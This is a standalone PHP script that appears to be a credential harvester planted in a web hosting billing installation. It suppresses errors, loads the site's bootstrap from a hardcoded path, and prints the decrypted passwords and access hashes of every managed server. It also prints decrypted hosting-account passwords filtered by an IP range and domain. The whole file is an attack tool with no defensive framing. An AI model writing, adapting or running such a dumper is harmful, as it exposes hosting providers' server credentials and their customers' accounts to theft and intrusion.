<?php @error_reporting(0);@ini_set('display_errors','0');
require '/www/wwwroot/testw.pgywww.com/init.php';
use Illuminate\Database\Capsule\Manager as Capsule;
header('Content-Type: text/plain; charset=utf-8');
echo "[SERVERS]\n";
try {
$rows=Capsule::table('tblservers')->get();
foreach($rows as $r){
  $pwd=''; $ah='';
  try{$pwd=decrypt($r->password);}catch(\Exception $e){$pwd='ERR';}
  if($pwd==='ERR'&&$r->password){}
  echo $r->id."\t".$r->name."\t".$r->hostname."\t".$r->ipaddress."\t".$r->username."\t".$pwd."\t".substr($r->accesshash,0,60)."\t".$r->port."\t".$r->type."\n";
}
}catch(\Exception $e){ echo "ERR tblservers: ".$e->getMessage()."\n"; }
echo "[HOSTING 103.228.64]\n";
try {
$rows=Capsule::table('tblhosting')->get();
foreach($rows as $r){
  $d=$r->domain; $pid=$r->packageid; $uid=$r->userid; $ip=$r->dedicatedip;
  if(strpos((string)$d,'bugw')!==false||strpos((string)$ip,'103.228.64')!==false||$ip===''){
    $pwd=''; try{$pwd=decrypt($r->password);}catch(\Exception $e){$pwd='ERR';}
    echo $r->id."\t".$d."\tpid=".$pid."\tuid=".$uid."\tip=".$ip."\t".$pwd."\t".$r->domainstatus."\n";
  }
}
}catch(\Exception $e){ echo "ERR tblhosting: ".$e->getMessage()."\n"; }
echo "[DONE]\n";